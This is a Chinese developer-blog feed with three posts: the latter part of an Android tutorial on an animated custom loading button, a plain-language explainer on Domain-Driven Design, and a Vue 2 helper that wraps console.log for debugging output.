上面是画圆角,那width和height怎么来呢当然是通过onMeasure;


@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
height = measuredHeight(heightMeasureSpec); //这里是测量控件大小
width = measureWidth(widthMeasureSpec); //我们经常可以看到我们设置控件wrap_content,match_content或者固定值
setMeasuredDimension(width, height);
}

下面以measureWidth为例:


private int measureWidth(int widthMeasureSpec) {
int result;
int specMode = MeasureSpec.getMode(widthMeasureSpec);
int specSize = MeasureSpec.getSize(widthMeasureSpec);
//这里是精准模式,比如match_content,或者是你控件里写明了控件大小
if (specMode == MeasureSpec.EXACTLY) {
result = specSize;
} else {
//这里是wrap_content模式,其实这里就是给一个默认值
//下面这段注销代码是最开始如果用户不设置大小,给他一个默认固定值。这里以字体长度来决定更合理
//result = (int) getContext().getResources().getDimension(R.dimen.dp_150);
//这里是我设置的长度,当然你写自定义控件可以设置你想要的逻辑,根据你的实际情况
result = buttonString.length() * textSize + height * 5 / 3;
if (specMode == MeasureSpec.AT_MOST) {
result = Math.min(result, specSize);
}
}
return result;
}

3、【绘制文字text】


这里我是用自己的方式实现:当文字长度超过控件长度时,文字需要来回滚动。所以自定义控件因为你需要什么样的功能可以自己去实现(当然这个方法也是在onDraw里,为什么这么个顺序讲,目的希望我希望你能循序渐进的理解,如果你觉得onDraw方代码太杂,你可以用个方法独立出去,你可以跟作者一样用private void drawText(Canvas canvas) {}), //绘制文字的路径(文字过长时,文字来回滚动需要用到)


private Path textPath = new Path():


textRect.left = 0;
textRect.top = 0;
textRect.right = width;
textRect.bottom = height; //这里确定文字绘制区域,其实就是控件区域
Paint.FontMetricsInt fontMetrics = textPaint.getFontMetricsInt();
//这里是获取文字绘制的y轴位置,可以理解上下居中
int baseline = (textRect.bottom + textRect.top - fontMetrics.bottom - fontMetrics.top) / 2;
//这里判断文字长度是否大于控件长度,当然我控件2边需要留文字的间距,所以不是大于width,这么说只是更好的理解
//这里是当文字内容大于控件长度,启动回滚效果。建议先看下面else里的正常情况
if ((buttonString.length() * textSize) > (width - height * 5 / 3)) {
textPath.reset();
//因为要留2遍间距,以heigh/3为间距
textPath.moveTo(height / 3, baseline);
textPath.lineTo(width - height / 3, baseline);
//这里的意思是文字从哪里开始写,可以是居中,这里是右边
textPaint.setTextAlign(Paint.Align.RIGHT);
//这里是以路径绘制文字,scrollSize可以理解为文字在x轴上的便宜量,同时,我的混动效果就是通过改变scrollSize
//刷新绘制来实现
canvas.drawTextOnPath(buttonString, textPath, scrollSize, 0, textPaint);
if (isShowLongText) {
//这里是绘制遮挡物,因为绘制路径没有间距这方法,所以绘制遮挡物类似于间距方式
canvas.drawRect(new Rect(width - height / 2 - textSize / 3, 0, width - height / 2, height),paintOval);
canvas.drawRect(new Rect(height / 2, 0, height / 2 + textSize / 3, height), paintOval);
//这里有个bug 有个小点-5 因画笔粗细产生
canvas.drawArc(new RectF(width - height, 0, width - 5, height), -90, 180, true, paintOval);
canvas.drawArc(new RectF(0, 0, height, height), 90, 180, true, paintOval);
}

if (animator_text_scroll == null) {
//这里是计算混到最右边和最左边的距离范围
animator_text_scroll = ValueAnimator.ofInt(buttonString.length() * textSize - width + height * 2 / 3,-textSize);
//这里是动画的时间,scrollSpeed可以理解为每个文字滚动控件外所需的时间,可以做成控件属性提供出去
animator_text_scroll.setDuration(buttonString.length() * scrollSpeed);
//设置动画的模式,这里是来回滚动
animator_text_scroll.setRepeatMode(ValueAnimator.REVERSE);
//设置插值器,让整个动画流畅
animator_text_scroll.setInterpolator(new LinearInterpolator());
//这里是滚动次数,-1无限滚动
animator_text_scroll.setRepeatCount(-1);
animator_text_scroll.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
//改变文字路径x轴的偏移量
scrollSize = (int) animation.getAnimatedValue();
postInvalidate();
}
});
animator_text_scroll.start();
}
} else {
//这里是正常情况,isShowLongText,是我在启动控件动画的时候,是否启动 文字有渐变效果的标识,
//如果是长文字,启动渐变效果的话,如果控件变小,文字内容在当前控件外,会显得很难看,所以根据这个标识,关闭,这里你可以先忽略(同时因为根据路径绘制text不能有间距效果,这个标识还是判断是否在控件2遍绘制遮挡物,这是作者的解决方式,如果你有更好的方式可以在下方留言)
isShowLongText = false;
/**
* 简单的绘制文字,没有考虑文字长度超过控件长度
* */

//这里是居中显示
textPaint.setTextAlign(Paint.Align.CENTER);
//参数1:文字
//参数2,3:绘制文字的中心点
//参数4:画笔
canvas.drawText(buttonString, textRect.centerX(), baseline, textPaint);
}

4、【自定义控件属性】


"1.0" encoding="utf-8"?>
<resources>
<declare-styleable name="SmartLoadingView">
<attr name="textStr" format="string" />
<attr name="errorStr" format="string" />
<attr name="cannotclickBg" format="color" />
<attr name="errorBg" format="color" />
<attr name="normalBg" format="color" />
<attr name="cornerRaius" format="dimension" />
<attr name="textColor" format="color" />
<attr name="textSize" format="dimension" />
<attr name="scrollSpeed" format="integer" />
declare-styleable>

resources>

这里以,文案为例, textStr。比如你再布局种用到app:txtStr="文案内容"。在自定义控件里获取如下:


public SmartLoadingView(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
//自定义控件的3参方法的attrs就是我们设置自定义属性的关键
//比如我们再attrs.xml里自定义了我们的属性,
TypedArray typedArray = getContext().obtainStyledAttributes(attrs, R.styleable.SmartLoadingView);
//这里是获取用户有没有设置整个属性
//这里是从用户那里获取有没有设置文案
String title = typedArray.getString(R.styleable.SmartLoadingView_textStr);
if (TextUtils.isEmpty(title)){
//如果获取来的属性是空,那么可以默认一个属性
//(作者忘记设置了!因为已经发布后期优化,老尴尬了)
buttonString ="默认文案";
}else{
//如果有设置文案
buttonString = title;
}

}

5、【设置点击事件,启动动画】


为了点击事件的直观,也可以把处理防止重复点击事件封装在里面


//这是我自定义登录点击的接口
public interface LoginClickListener {
void click();
}

public void setLoginClickListener(final LoginClickListener loginClickListener) {
this.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
if (loginClickListener != null) {
//防止重复点击
if (!isAnimRuning) {
start();
loginClickListener.click();
}

}
}
});
}

6、【动画讲解】


6.1、第一个动画,矩形到正方形,以及矩形到圆角矩形(这里是2个动画,只是同时进行)


矩形到正方形(为了简化,我把源码一些其他属性去掉了,这样方便理解)


//其中  default_all_distance = (w - h) / 2;除以2是因为2遍都往中间缩短
private void set_rect_to_circle_animation() {
//这是一个属性动画,current_left 会在duration时间内,从0到default_all_distance匀速变化
//想添加多样化的话 还可以加入插值器。
animator_rect_to_square = ValueAnimator.ofInt(0, default_all_distance);
animator_rect_to_square.setDuration(duration);
animator_rect_to_square.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
//这里的current_left跟onDraw相关,还记得吗
//onDraw里的控件区域
//控件左边区域 rectf.left = current_left;
//控件右边区域 rectf.right = width - current_left;
current_left = (int) animation.getAnimatedValue();
//刷新绘制
invalidate();
}
});

矩形到圆角矩形。就是从一个没有圆角的变成完全圆角的矩形,当然我展示的时候只有第三个图,最后一个按钮才明显了。


其他的我直接设置成了圆角按钮,因为我把圆角做成了一个属性。


还记得onDraw里的canvas.drawRoundRect(rectf, circleAngle, circleAngle, paint);circleAngle就是圆角的半径


可以想象一下如果全是圆角,那么circleAngle会是多少,当然是height/2;没错吧,所以


因为我把圆角做成了属性obtainCircleAngle是从xml文件获取的属性,如果不设置,则为0,就没有任何圆角效果


animator_rect_to_angle = ValueAnimator.ofInt(obtainCircleAngle, height / 2);
animator_rect_to_angle.setDuration(duration);
animator_rect_to_angle.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
//这里试想下如果是一个正方形,刚好是圆形的圆角,那就是一个圆
circleAngle = (int) animation.getAnimatedValue();
//刷新绘画
invalidate();
}
});

2个属性动画做好后,用 private AnimatorSet animatorSet = new AnimatorSet();把属性动画加进去,可以设置2个动画同时进行,还是先后顺序 这里是同时进行所用用with


animatorSet
.play(animator_rect_to_square).with(animator_rect_to_angle);

6.2、变成圆形后,有一个loading加载动画


这里就是画圆弧,只是不断改变,圆弧的起始点和终点,最终呈现loading状态,也是在onDraw里


//绘制加载进度
if (isLoading) {
//参数1:绘制圆弧区域
//参数2,3:绘制圆弧起始点和终点
canvas.drawArc(new RectF(width / 2 - height / 2 + height / 4, height / 4, width / 2 + height / 2 - height / 4, height / 2 + height / 2 - height / 4), startAngle, progAngle, false, okPaint);

//这里是我通过实践,实现最佳loading动画
//当然这里有很多方式,因为我自定义这个view想把所有东西都放在这个类里面,你也可以有你的方式
//如果有更好的方式,欢迎留言,告知我一下
startAngle += 6;
if (progAngle >= 270) {
progAngle -= 2;
isAdd = false;
} else if (progAngle <= 45) {
progAngle += 6;
isAdd = true;
} else {
if (isAdd) {
progAngle += 6;
} else {
progAngle -= 2;
}
}
//刷新绘制,这里不用担心有那么多刷新绘制,会不会影响性能
//
postInvalidate();
}

6.3、loading状态,到打勾动画


那么这里首先要把loading动画取消,那么直接改变isLoading=false;不会只它同时启动打勾动画;打勾动画的动画,这里比较麻烦,也是我在别人自定义动画里学习的,通过PathMeasure,实现路径动画


/**
* 路径--用来获取对勾的路径
*/

private Path path = new Path();
/**
* 取路径的长度
*/

private PathMeasure pathMeasure;

//初始化打勾动画路径;
private void initOk() {
//对勾的路径
path.moveTo(default_all_distance + height / 8 * 3, height / 2);
path.lineTo(default_all_distance + height / 2, height / 5 * 3);
path.lineTo(default_all_distance + height / 3 * 2, height / 5 * 2);
pathMeasure = new PathMeasure(path, true);
}

//初始化打勾动画
private void set_draw_ok_animation() {
animator_draw_ok = ValueAnimator.ofFloat(1, 0);
animator_draw_ok.setDuration(duration);
animator_draw_ok.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public
void onAnimationUpdate(ValueAnimator animation) {
startDrawOk = true;
isLoading = false;
float value = (Float) animation.getAnimatedValue();
effect = new DashPathEffect(new float[]{pathMeasure.getLength(), pathMeasure.getLength()}, value * pathMeasure.getLength());
okPaint.setPathEffect(effect);
invalidate();

}
});
}

//启动打勾动画只需要调用
animator_draw_ok.start();

onDraw里绘制打勾动画


//绘制打勾,这是onDraw的,startDrawOk是判断是否开启打勾动画的标识
if (startDrawOk) {
canvas.drawPath(path, okPaint);
}

6.4、loading状态下回到失败样子(有点类似联网失败了)


之前6.1提到了矩形到圆角矩形和矩形到正方形的动画,


那么这里只是前面2个动画反过来,再加上联网失败的文案,和联网失败的背景图即刻


6.5、loading状态下启动扩散全屏动画(重点)


这里我通过loginSuccess里参数的类型启动不同效果:


1、启动扩散全屏动画
public void loginSuccess(Animator.AnimatorListener endListener) {}

2、启动打勾动画
public void loginSuccess(AnimationOKListener animationOKListener) {}

启动扩散全屏是本文的重点,里面还涉及到了一个自定义view


CirclBigView,这个控件是全屏的,而且是从一个小圆不断改变半径变成大圆的动画,那么有人会问,全屏肯定不好啊,会影响布局,
但是这里,我把它放在了activity的视图层:
ViewGr0up activityDecorView = (ViewGr0up) ((Activity) getContext()).getWindow().getDecorView();
ViewGr0up.LayoutParams layoutParams = new ViewGr0up.LayoutParams(ViewGr0up.LayoutParams.MATCH_PARENT, ViewGr0up.LayoutParams.MATCH_PARENT);
activityDecorView.addView(circlBigView, layoutParams);

这个灵感也是前不久在学习微信,拖拽退出的思路里发现的。全部代码如下:


public void toBigCircle(Animator.AnimatorListener endListener) {
//把缩小到圆的半径,告诉circlBigView
circlBigView.setRadius(this.getMeasuredHeight() / 2);
//把当前背景颜色告诉circlBigView
circlBigView.setColorBg(normal_color);
int[] location = new int[2];
//测量当前控件所在的屏幕坐标x,y
this.getLocationOnScreen(location);
//把当前坐标告诉circlBigView,同时circlBigView会计算当前点,到屏幕4个点的最大距离,即是当前控件要扩散到的半径
//具体建议读者看完本博客后,去下载玩耍下。
circlBigView.setXY(location[0] + this.getMeasuredWidth() / 2, location[1]);
if (circlBigView.getParent() == null) {
ViewGr0up activityDecorView = (ViewGr0up) ((Activity) getContext()).getWindow().getDecorView();
ViewGr0up.LayoutParams layoutParams = new ViewGr0up.LayoutParams(ViewGr0up.LayoutParams.MATCH_PARENT, ViewGr0up.LayoutParams.MATCH_PARENT);
activityDecorView.addView(circlBigView, layoutParams);
}
circlBigView.startShowAni(endListener);
isAnimRuning = false;
}

结束语


因为项目是把之前的功能写成了控件,所以有很多地方不完善。希望有建议的大牛和小伙伴,提示提示我,让我完善的更好。谢谢


作者:花海blog
来源:juejin.cn/post/7300845863462436873
收起阅读 »

大白话DDD(DDD黑话终结者)

一、吐槽的话 相信听过DDD的人有很大一部分都不知道这玩意具体是干嘛的,甚至觉得它有那么一些虚无缥缈。原因之一是但凡讲DDD的,都是一堆特别高大上的概念,然后冠之以一堆让人看不懂的解释,。作者曾经在极客时间上买了本DDD实战的电子书,被那些概念一路从头灌到尾,...
继续阅读 »

一、吐槽的话


相信听过DDD的人有很大一部分都不知道这玩意具体是干嘛的,甚至觉得它有那么一些虚无缥缈。原因之一是但凡讲DDD的,都是一堆特别高大上的概念,然后冠之以一堆让人看不懂的解释,。作者曾经在极客时间上买了本DDD实战的电子书,被那些概念一路从头灌到尾,灌得作者头昏脑涨,一本电子书那么多文章愣是没有一点点像样的案例,看到最后也 没明白那本电子书的作者究竟想写啥。原因之二是DDD经常出现在互联网黑话中,如果不能稍微了解一下DDD中的名词,我们一般的程序员甚至都不配和那些说这些黑话的人一起共事。


为了帮助大家更好的理解这种虚无缥缈的概念,也为了更好的减少大家在新词频出的IT行业工作的痛苦,作者尝试用人话来解释下DDD,并且最后会举DDD在不同层面上使用的例子,来帮助大家彻底理解这个所谓的“高大上”的概念。


二、核心概念


核心的概念还是必须列的,否则你都不知道DDD的名词有多么恶心,但我会用让你能听懂的话来解释。


1、领域/子域/核心域/支撑域/通用域


领域

DDD中最重要的一个概念,也是黑话中说的最多的,领域指的是特定的业务问题领域,是专门用来确定业务的边界。


子域

有时候一个业务领域可能比较复杂,因此会被分为多个子域,子域分为了如下几种:



  • 核心子域:业务成功的核心竞争力。用人话来说,就是领域中最重要的子域,如果没有它其他的都不成立,比如用户服务这个领域中的用户子域

  • 通用子域:不是核心,但被整个业务系统所使用。在领域这个层面中,这里指的是通用能力,比如通用工具,通用的数据字典、枚举这类(感叹DDD简直恨不得无孔不入)。在整个业务系统这个更高层面上,也会有通用域的存在,指的通用的服务(用户服务、权限服务这类公共服务可以作为通用域)。

  • 支撑子域:不是核心,不被整个系统使用,完成业务的必要能力。


2、通用语言/限界上下文


通用语言

指的是一个领域内,同一个名词必须是同一个意思,即统一交流的术语。比如我们在搞用户中心的时候,用户统一指的就是系统用户,而不能用其他名词来表达,目的是提高沟通的效率以及增加设计的可读性


限界上下文

限界上下文指的是领域的边界,通常来说,在比较高的业务层面上,一个限界上下文之内即一个领域。这里用一张不太好看的图来解释:


image.png


3、事件风暴/头脑风暴/领域事件


事件风暴

指的是领域内的业务事件,比如用户中心中,新增用户,授权,用户修改密码等业务事件。


头脑风暴

用最俗的人话解释,就是一堆人坐在一个小会议室中开会,去梳理业务系统都有哪些业务事件。


领域事件

领域内,子域和子域之间交互的事件,如用户服务中用户和角色交互是为用户分配角色,或者是为角色批量绑定用户,这里的领域事件有两个,一个是“为用户分配角色”,另一个是“为角色批量绑定用户”。


4、实体/值对象


实体

这里可以理解为有着唯一标识符的东西,比如用户实体。


值对象

实体的具体化,比如用户实体中的张三和李四。


实体和值对象可以简单的理解成java中类和对象,只不过这里通常需要对应数据实体。


5、聚合/聚合根


聚合

实体和实体之间需要共同协作来让业务运转,比如我们的授权就是给用户分配一个角色,这里涉及到了用户和角色两个实体,这个聚合即是用户和角色的关系。


聚合根

聚合根是聚合的管理者,即一个聚合中必定是有个聚合根的,通常它也是对外的接口。比如说,在给用户分配角色这个事件中涉及两个实体分别是用户和角色,这时候用户就是聚合根。而当这个业务变成给角色批量绑定用户的时候,聚合根就变成了角色。即使没有这样一个名词,我们也会有这样一个标准,让业务按照既定规则来运行,举个上文中的例子,给用户A绑定角色1,用户为聚合根,这样往后去查看用户拥有的角色,也是以用户的唯一标识来查,即访问聚合必须通过聚合根来访问,这个也就是聚合根的作用。


三、用途及案例


目前DDD的应用主要是在战略阶段和战术阶段,这两个名词也是非常的不讲人话,所谓的战略阶段,其实就是前期去规划业务如何拆分服务,服务之间如何交互。战术阶段,就是工程上的应用,用工程化做的比较好的java语言举例子,就是把传统的三层架构变成了四层架构甚至是N层架构而已。


1、微服务的服务领域划分

这是对于DDD在战略阶段做的事情:假如目前我司有个客服系统,内部的客服人员使用这个系统对外上亿的用户提供了形形色色的服务,同时内部人员觉得我们的客服系统也非常好用,老板觉得我们的系统做的非常好,可以拿出去对外售卖以提高公司的利润,那么这时候问题就来了,客服系统需要怎样去改造,才能够支持对外售卖呢?经过激烈的讨论,大致需求如下:



  • 对外售卖的形式有两种,分别是SaaS模式和私有化部署的模式。

  • SaaS模式需要新开发较为复杂的基础设施来支持,比如租户管理,用户管理,基于用户购买的权限系统,能够根据购买情况来给予不同租户不同的权限。而私有化的时候,由于客户是打包购买,这时候权限系统就不需要再根据用户购买来判断。

  • 数据同步能力,很多公司原本已经有一套员工管理系统,通常是HR系统或者是ERP,这时候客服系统也有一套员工管理,需要把公司人员一个一个录入进去,非常麻烦,因此需要和公司原有的数据来进行同步。

  • 老板的野心还比较大,希望造出来的这套基础设施可以为公司其他业务系统赋能,能支持其他业务系统对外售卖


在经过比较细致的梳理(DDD管这个叫事件风暴/头脑风暴)之后,我们整理出了主要的业务事件,大致如下:


1、用户可以自行注册租户,也可以由运营在后台为用户开通租户,每个租户内默认有一个超级管理员,租户开通之后默认有系统一个月的试用期,试用期超级管理员即可在管理端进行用户管理,添加子用户,分配一些基本权限,同时子用户可以使用系统的一些基本功能。


2、高级的功能,比如客服中的机器人功能是属于要花钱买的,试用期不具备此权限,用户必须出钱购买。每次购买之后会生成购买订单,订单对应的商品即为高级功能包。


3、权限系统需要能够根据租户购买的功能以及用户拥有的角色来鉴权,如果是私有化,由于客户此时购买的是完整系统,所以此时权限系统仅仅根据用户角色来鉴权即可。


4、基础设施还需要对其他业务系统赋能。


根据上面的业务流程,我们梳理出了下图中的实体


image.png


最后再根据实体和实体之间的交互,划分出了用户中心服务以及计费服务,这两个服务是两个通用能力服务,然后又划分出了基于通用服务的业务层,分别是租户管理端和运营后台以及提供给业务接入的应用中心,架构图如下:


image.png


基础设施层即为我们要做的东西,为业务应用层提供通用的用户权限能力、以及售卖的能力,同时构建开发者中心、租户控制台以及运营后台三个基础设施应用。


2、工程层面

这个是对于DDD在战术设计阶段的运用,以java项目来举例子,现在的搞微服务的,都是把工程分为了主要的三层,即控制层->逻辑层->数据层,但是到了DDD这里,则是多了一层,变成了控制层->逻辑层->领域能力层->数据层。这里一层一层来解释下:


分层描述
控制层对外暴漏的接口层,举个例子,java工程的controller
逻辑层主要的业务逻辑层
领域能力层模型层,系统的核心,负责表达业务概念,业务状态信息以及业务规则。即包含了该领域(问题域)所有复杂的业务知识抽象和规则定义。
数据层操作数据,java中主要是dao层

四、总结


在解释完了各种概念以及举例子之后,我们对DDD是什么有了个大概的认知,相信也是有非常多的争议。作者搞微服务已经搞了多年,也曾经在梳理业务的时候被DDD的各种黑话毒打过,也使用过DDD搞过工程。经历了这么多这方面的实践之后觉得DDD最大的价值其实还是在梳理业务的时候划分清楚业务领域的边界,其核心思想其实还是高内聚低耦合而已。至于工程方面,现在微服务的粒度已经足够细,完全没必要再多这么一层。这多出来的这一层,多少有种没事找事的感觉。更可笑的是,这个概念本身在对外普及自己的东西的时候,玩足了文字游戏,让大家学的一头雾水。真正好的东西,是能够解决问题,并且能够很容易的让人学明白,而不是一昧的造新词去迷惑人,也希望以后互联网行业多一些实干,少说一些黑话。


作者:李少博
来源:juejin.cn/post/7184800180984610873
收起阅读 »

Console党福音!封装 console.log 再也不用打注释了!

背景 大家好~, 我是刚入职场不久的前端小帅,每周分享我的一丢丢想法,希望能够帮助到大家~ 众所周知,console在项目开发调试中是不可或缺的,在日常工作中经常会使用到它,但使用多了之后会发现,虽然它足够短小精炼,但耐不住用的多,再加上注释指示,工作量隐约还...
继续阅读 »

背景


大家好~, 我是刚入职场不久的前端小帅,每周分享我的一丢丢想法,希望能够帮助到大家~


众所周知,console在项目开发调试中是不可或缺的,在日常工作中经常会使用到它,但使用多了之后会发现,虽然它足够短小精炼,但耐不住用的多,再加上注释指示,工作量隐约还是不小的(懒惰,因此我对它进行小小的封装,让它用起来更短更方便,分享给大家,希望能够对大家开发有所帮助


优势



  • 面向 Vue2

  • 拒绝通用的注释打印

  • 针对对象值自动序列化

  • 支持一行输出 N个变量打印

  • 支持输出data变量和局部变量

  • 支持限制特定页面输出变量

  • 更短的函数名


示例:


data() {
return {
joker: 'jym',
handsomeMan: 'me',
info: {
job: {
name: '专业炒粉'
}
}
}
},
methods: {
getJoker() {
const demo = 'test'
this.$c('joker', 'handsomeMan', 'info', 'info.job.name', { demo }) //输出语句
}
}

输出结果:

image.png


**是的,只需要一行代码!!! **


是的,只需要一行代码!!!


(如果是原来的console.log打印 光想就已经累了......)


封装


接下来看看是如何封装的吧~


方法名再短点!


// main.js
Vue.prototype.$c = function() {...}

因为要全局使用,因此直接挂载到 Vue 的原型对象上,这样各个组件里都能通过this.$c()进行调用


传参与打印



如何访问对应Vue实例的数据



因为我们需要访问this.xxx, 获取到this指向必不可缺,因此结合this的小知识,封装的函数必须是普通函数而不是箭头函数,这样在vue实例中调用时this.$cthis会指向Vue实例自身,我们就可以访问this下的数据啦~



传参



参数肯定需要支持多个,数组冗余了 ,直接扁平化输入

再结合Vue里是通过this.xxx获取数据,可知我们传入的需要是字符串

可得步骤



  • 传入多个待打印的变量名

  • 遍历每个变量名

  • 通过 this变量名 获取到data里的值

  • 判断是否为对象,分别处理

  • 打印

  • over


// main.js
Vue.prototype.$c = function(...words) {
words.forEach(word => {
const val = this[word]
if (Object.prototype.toString.call(val).slice(8, -1) === 'Object') {
console.log(`${word} ======> `)
console.log(JSON.stringify(val, null, 2))
return
}
console.log(`${word} ======> `, val)
return
})
}

对于对象类型的变量,通常我们需要获取实时的对象,直接console.log(obj), 但这样获取的obj通常不是准确的值,想要获取实时的值则需要调用console.log(JSON.stringify(obj, null, 2))通过json字符串化打印实时的值



什么?JSON.stringify后面两个参数是干嘛的?



我TM直接就是一个


参数一 接收 函数或数组,用来转换过滤对象

参数二 接收 数字或字符串,用于指定缩进的空格数或缩进字符串


示例:


const obj = {
name: 'mach',
age: 24,
sex: 1
}
console.log(JSON.stringify(obj, ['name', 'age']))
// {"name":"mach","age":24}

console.log(JSON.stringify(obj, ['name', 'age'], 2))
// {
// "name": "mach",
// "age": 24
// }

OK, 这个时候我们进行打印测试一下


//xxx.vue
data() {
return {
name: 1,
age: 2,
obj: {
name: 'mach',
age: 24,
sex: 1
}
}
},
created() {
this.$c('name', 'age', 'obj')
}

image.png


这时候看看效果,注释有了!变量的值也有了!


局部变量


现在能够访问Vue实例的值了,那少不了局部变量。

问题来了,访问Vue实例是应用了this指向,那局部变量该怎么获取到呢?


最核心的肯定获取是局部变量的执行上下文


呃呃呃呃呃 闭包? eval 试了一下貌似都不行


呃呃呃 , 有了,就是你了!


// xxx.vue
methods:{
getList() {
const joker = 'you'
}
}
this.$c({ 'joker': joker })

高端的食材,往往只需要最朴素的烹饪方式~

忙碌了两小时之后,小师傅开始传入对象


直接用对象传变量名和变量值!


// 简写
this.$c({ joker })

瞧瞧 { joker } 同样很短小,非常适合开发,美吱吱~~


于是函数长这样,对局部变量和Vue data里的变量做区分:



  • 判断 对象 则是局部变量

  • 判断 字符串 则是vue实例数据


Vue.prototype.$c = function(...words) {
words.forEach(word => {
if (typeof word === 'string') {
const val = this[word]
if (Object.prototype.toString.call(val).slice(8, -1) === 'Object') {
console.log(`${word} ======> `)
console.log(JSON.stringify(val, null, 2))
return
}
console.log(`${word} ======> `, val)
return
}
const [name, value] = Object.entries(word)[0]
if (Object.prototype.toString.call(value).slice(8, -1) === 'Object') {
console.log(`${name} ======> `)
console.log(JSON.stringify(value, null, 2))
return
}
console.log(`${name} ======> `, value)
})
}

使用


// xxx.vue
methods:{
getList() {
const joker = 'you'
this.$c('name', 'age', 'obj', { joker })
}
}

image.png


Perfect ~


指明位置及套个漂亮显眼的框


对了,因为$c的函数是定义在main.js里的,因此控制台打印会显示是出现在main.js


image.png


解决办法就是在壳里加个 this.$options.name,指明调试语句来自哪个组件

再给打印区套个漂亮的壳,便于做区分


Vue.prototype.$c = function(...words) {
console.log(`来自${this.$options.name}-🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉`) // 新增
words.forEach(word => {
if (typeof word === 'string') {
const val = this[word]
if (Object.prototype.toString.call(val).slice(8, -1) === 'Object') {
console.log(`${word} ======> `)
console.log(JSON.stringify(val, null, 2))
return
}
console.log(`${word} ======> `, val)
return
}
const [name, value] = Object.entries(word)[0]
if (Object.prototype.toString.call(value).slice(8, -1) === 'Object') {
console.log(`${name} ======> `)
console.log(JSON.stringify(value, null, 2))
return
}
console.log(`${name} ======> `, value)
})
console.log('🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉')
}

测试打印结果:


image.png


圆满结束啦


访问嵌套属性的值


还有嘞 ~ 有人问,刚刚只是访问变量第一层,如果只想访问变量的第n层怎么办?


很简单,核心就是嵌套调用~


const val = this[word]

改成


const val = word.split('.').reduce((pre, cur) => {
return pre[cur]
}, this)

这个时候通过 xxx.xxxx.xx 就可以访问Vue实例下数据的值啦~


data(){
return {
obj: {
name: 'joker'
age: 24
}
}
}
this.$c('obj.age', 'obj.name')

image.png

这里xxx.xxxx.xxxxx|xxxx|xxxxx-xxxx-xx没啥区别,就是做分割罢了,但用.好分辨点贴近开发


解决完Vue实例下数据的嵌套访问,这时候有人会问,访问局部变量的嵌套属性咋办


Emmm 好问题 , 转动我的机灵小脑袋~~~~~ 有了!!!


const obj = {
accont: {
xx: {
id: 11,
name: 'rich'
},
money: 10086
}
}
const xx = obj.accont.xx // 新增

// 调用
this.$c({xx})

高端的食材,往往只需要最朴素的烹饪方式 ~


const joker = {
info: {
name: 'jym',
age: 18,
height: 185
}
}
const name = joker.info.name
this.$c({ joker }, { name })

image.png


这样纸代码看起来也清晰嘛~ 嗯,针不戳


限制特定页面输出变量


假设我现在只需要path1path2的页面输出变量,关闭其他页面的输出,咋做嘞~


简简单单,咱已经拿到指向Vue实例的this,可以直接访问当前路由地址和名做一下限制即可


在函数开头加上


Vue.prototype.$c = function(...words) {
const whitelist = ['path1', 'path2']
const currentPath = this.$route.path

if (!whitelist.includes(currentPath)) return
......
}

现在就只有path1, path2的页面下的组件可以输出啦,是不是很方便呢?


只有 Vue2 可以这么封装吗?


虽然这个封装的代码是面向 Vue2, 但很显然封装的核心对于Vue是通用的,把this换成组件实例即可,如Vue3里是this(选项式) 或者 getCurrentInstance()(组合式),至于React,就只能朴素一丢丢喏(你懂得)


代码 没写 我就不贴了


集帅们 也可以把代码打在评论区,供参考借鉴~~


总结


全部代码:


Vue.prototype.$c = function(...words) {
const whitelist = ['path1', 'path2']
const currentPath = this.$route.path
if (!whitelist.includes(currentPath)) return

console.log(`🎉🎉🎉🎉🎉🎉🎉🎉来自-${this.$options.name}-🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉`)
words.forEach(word => {
if (typeof word === 'string') {
const val = word.split('.').reduce((pre, cur) => {
return pre[cur]
}, this)
if (Object.prototype.toString.call(val).slice(8, -1) === 'Object') {
console.log(`${word} ======> `)
console.log(JSON.stringify(val, null, 2))
return
}
console.log(`${word} ======> `, val)
return
}
const [name, value] = Object.entries(word)[0]
if (Object.prototype.toString.call(value).slice(8, -1) === 'Object') {
console.log(`${name} ======> `)
console.log(JSON.stringify(value, null, 2))
return
}
console.log(`${name} ======> `, value)
})
console.log('🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉')
console.log('')
}

优势



  • 无需通用的注释打印

  • 支持限制特定页面输出变量

  • 针对对象值自动序列化

  • 支持一行输出 N个变量打印

  • 支持打印data变量和局部变量

  • 更短的函数名


总的来说,这个封装主要是我在项目console烦了,特别是加上注释和对象json序列化,于是这几天蚌埠住了,整了这个封装,总的来说我觉得效果是不错滴,一行顶之前 N 行, 不用加注释,也不需要该死的 JSON.stringify(xx, null, 2)


但是特殊打印就回归正常 console.log 哦, 没必要封装太深入


希望能够帮助到那些和我一样的console党~ (wink), 觉得有帮助可以点赞关注一下我喔~~~


往期奇思妙想:


《这个前端Api管理方案会更好?》

《这个前端Api管理方案会更好?(二)》


作者:爱吃好果汁丶
来源:juejin.cn/post/7300122001768071168
收起阅读 »